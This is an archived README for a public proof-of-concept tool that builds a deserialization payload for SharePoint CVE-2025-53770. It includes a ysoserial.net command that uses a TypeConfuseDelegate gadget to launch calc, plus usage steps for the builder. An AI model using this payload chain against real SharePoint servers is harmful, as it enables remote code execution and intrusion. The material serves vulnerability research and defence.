

GitHub - Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC · GitHub

GitHub - Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC · GitHub - Immersive-Labs-Sec, GitHub.

- Published: date not stated
- Original: <https://github.com/Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC>
- Preserved from: <https://github.com/Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC> (preserved-copy) on 2026-08-04
- Repository commit: f506e3ee29ab04934771a6df4dd86a6037a9a967
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC>
- Commit: f506e3ee29ab04934771a6df4dd86a6037a9a967
- Documents preserved: 1

README.md

Blob 4e3b4b6efbc7, 1480 bytes, at commit f506e3ee29ab.

OurSharePoint - CVE-2025-53770 (PoC)

This is a simple C# tool that builds a GZipped, Base64-encoded .NET DataSet payload using a LosFormatter-encoded inner payload. It's designed to help reproduce the SharePoint deserialization RCE chain described in public research.

What it does

You give it a Base64-encoded payload (like one from ysoserial.net), and it:

- Wraps it inside a valid .NET DataSet with a custom XML schema + diffgram

- Serializes the result using BinaryFormatter
 - GZips the serialized blob
 - Base64-encodes the result and writes it to a `.b64` file
-

References

- <https://research.eye.security/sharepoint-under-siege/>
 - <https://github.com/rapid7/metasploit-framework/pull/20409/commits>
-

Usage

First, generate your payload using ysoserial.net:

```
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" >
nested_gadget.b64
```

Then run this tool:

```
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> -
-c=<random>
```

This will generate:

- exploit.bin - a raw serialized DataSet
- exploit.b64 - final GZipped and Base64-encoded payload thats ready for us

Also, if you dont specify `--a` , `--b` , or `--c` , the tool generates random lowercase names.

Notes

This tool does not validate or inspect the payload you give it.

If you're testing locally and deserialize manually, it may execute (e.g., pop calc).